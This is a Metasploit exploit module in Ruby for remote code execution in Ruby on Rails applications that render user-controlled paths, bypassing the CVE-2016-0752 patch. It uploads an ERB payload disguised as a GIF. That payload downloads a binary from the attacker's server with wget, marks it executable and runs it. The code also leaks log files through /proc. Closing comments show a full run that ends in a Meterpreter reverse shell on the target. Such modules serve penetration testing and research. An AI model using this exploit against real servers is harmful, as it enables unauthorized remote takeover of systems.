require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Ruby on Rails Dynamic Render File Upload Remote Code Execution', 'Description' => %q{ This module exploits a remote code execution vulnerability in the explicit render method when leveraging user parameters. This module has been tested across multiple versions of RoR including the latest 5.0.0.1 - August 10, 2016. The technique used by this module requires the specified endpoint to be using dynamic render paths, such as the following example: def show render params[:id] end Also, the vulnerable target will need a POST endpoint for the TempFile upload, this can literrally be any endpoint. This module bypasses the patch for CVE-2016-0752 which, afaik, prevented the exploitation of development.log. Finally, you only get one shot at this if you are testing with the buildin rails server, use caution. }, 'Author' => [ 'mr_me ', # necromanced old bug & discovered new vector rce vector 'John Poulin (forced-request)' # original render bug finder ], 'References' => [ [ 'URL', 'https://groups.google.com/forum/#!topic/rubyonrails-security/335P1DcLG00'], # failed patch [ 'URL', 'https://nvisium.com/blog/2016/01/26/rails-dynamic-render-to-rce-cve-2016-0752/'], # John Poulin CVE-2016-0752 patched in 5.0.0.beta1.1 - January 25, 2016 [ 'URL', 'https://gist.github.com/forced-request/5158759a6418e6376afb'], # John's exploit ], 'License' => MSF_LICENSE, 'Platform' => ['linux', 'bsd'], 'Arch' => ARCH_X86, 'Payload' => { 'DisableNops' => true, }, 'Privileged' => false, 'Targets' => [ [ 'Ruby on Rails 5.0.0.1', {} ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Oct 1 2016')) register_options( [ Opt::RPORT(3000), OptString.new('URIPATH', [ true, 'The path to the vulnerable route', "/wae"]), OptPort.new('SRVPORT', [ true, 'The daemon port to listen on', 1337 ]), ], self.class) end def check # this is the check for the dev environment res = send_request_cgi({ 'uri' => normalize_uri(datastore['URIPATH'], "%2f"), 'method' => 'GET', }, 60) # if the page controller is dynamically rendering, its probably vuln if res and res.body =~ /render params/ return Exploit::CheckCode::Vulnerable end # this is the check for the prod environment res = send_request_cgi({ 'uri' => normalize_uri(datastore['URIPATH'], "%2fproc%2fself%2fcomm"), 'method' => 'GET', }, 60) # maybe its exploitable if res and res.body =~ /ruby/ return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def on_request_uri(cli, request) if (not @pl) print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") return end print_status("#{rhost}:#{rport} - Sending the payload to the server...") @elf_sent = true send_response(cli, @pl) end def send_payload @bd = rand_text_alpha(8+rand(8)) fn = rand_text_alpha(8+rand(8)) un = rand_text_alpha(8+rand(8)) pn = rand_text_alpha(8+rand(8)) register_file_for_cleanup("/tmp/#{@bd}") cmd = "wget #{@service_url} -O /tmp/#{@bd};" cmd << "chmod 755 /tmp/#{@bd};" cmd << "/tmp/#{@bd}" pay = "<%=`#{cmd}`%>" print_status("uploading image...") data = Rex::MIME::Message.new data.add_part(pay, nil, nil, 'form-data; name="#{un}"; filename="#{fn}.gif"') res = send_request_cgi({ 'method' => 'POST', 'cookie' => @cookie, 'uri' => normalize_uri(datastore['URIPATH'], pn), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => data.to_s }) if res and res.code == 422 and res.body =~ /Tempfile:\/(.*)>/ @path = "#{$1}" if res.body =~ /Tempfile:\/(.*)>/ return true else # thsi is where we pull the log file if leak_log return true end end return false end def leak_log # path to the log /proc/self/fd/7 # this bypasses the extension check res = send_request_cgi({ 'uri' => normalize_uri(datastore['URIPATH'], "proc%2fself%2ffd%2f7"), 'method' => 'GET', }, 60) if res and res.code == 200 and res.body =~ /Tempfile:\/(.*)>, @original_filename=/ @path = "#{$1}" if res.body =~ /Tempfile:\/(.*)>, @original_filename=/ true else false end end def start_http_server @pl = generate_payload_exe @elf_sent = false downfile = rand_text_alpha(8+rand(8)) resource_uri = '/' + downfile # do not use SSL for the attacking web server if datastore['SSL'] ssl_restore = true datastore['SSL'] = false end if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost) else srv_host = datastore['SRVHOST'] end @service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri service_url_payload = srv_host + resource_uri print_status("#{rhost}:#{rport} - Starting up our web service on #{@service_url} ...") start_service({'Uri' => { 'Proc' => Proc.new { |cli, req| on_request_uri(cli, req) }, 'Path' => resource_uri }}) datastore['SSL'] = true if ssl_restore connect end def render_image @path.gsub!(/\//, '%2f') res = send_request_cgi({ 'uri' => normalize_uri(datastore['URIPATH'], @path), 'method' => 'GET', }, 1) end def exploit print_status("Sending initial request to detect exploitability") start_http_server if send_payload print_good("injected payload") render_image # we need to delay, for the stager select(nil, nil, nil, 5) end end end =begin saturn:metasploit-framework mr_me$ cat scripts/rails.rc use exploit/multi/http/rails_dynamic_render_code_exec set RHOST 172.16.175.251 set payload linux/x86/meterpreter/reverse_tcp set LHOST 172.16.175.1 check exploit saturn:metasploit-framework mr_me$ ./msfconsole -qr scripts/rails.rc [*] Processing scripts/rails.rc for ERB directives. resource (scripts/rails.rc)> use exploit/multi/http/rails_dynamic_render_code_exec resource (scripts/rails.rc)> set RHOST 172.16.175.251 RHOST => 172.16.175.251 resource (scripts/rails.rc)> set payload linux/x86/meterpreter/reverse_tcp payload => linux/x86/meterpreter/reverse_tcp resource (scripts/rails.rc)> set LHOST 172.16.175.1 LHOST => 172.16.175.1 resource (scripts/rails.rc)> check [+] 172.16.175.251:3000 The target is vulnerable. resource (scripts/rails.rc)> exploit [*] Exploit running as background job. [*] Started reverse TCP handler on 172.16.175.1:4444 [*] Sending initial request to detect exploitability msf exploit(rails_dynamic_render_code_exec) > [*] 172.16.175.251:3000 - Starting up our web service on http://172.16.175.1:1337/iUDaRVpz ... [*] Using URL: http://0.0.0.0:1337/iUDaRVpz [*] Local IP: http://192.168.100.13:1337/iUDaRVpz [*] uploading image... [+] injected payload [*] 172.16.175.251:3000 - Sending the payload to the server... [*] Transmitting intermediate stager for over-sized stage...(105 bytes) [*] Sending stage (1495599 bytes) to 172.16.175.251 [*] Meterpreter session 1 opened (172.16.175.1:4444 -> 172.16.175.251:41246) at 2016-09-29 17:52:00 -0500 [+] Deleted /tmp/NhhGKCCIgwF msf exploit(rails_dynamic_render_code_exec) > sessions -i 1 [*] Starting interaction with 1... meterpreter > shell Process 50809 created. Channel 1 created. $ id uid=1000(student) gid=1000(student) groups=1000(student),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),110(lpadmin),113(scanner),117(bluetooth) $ =end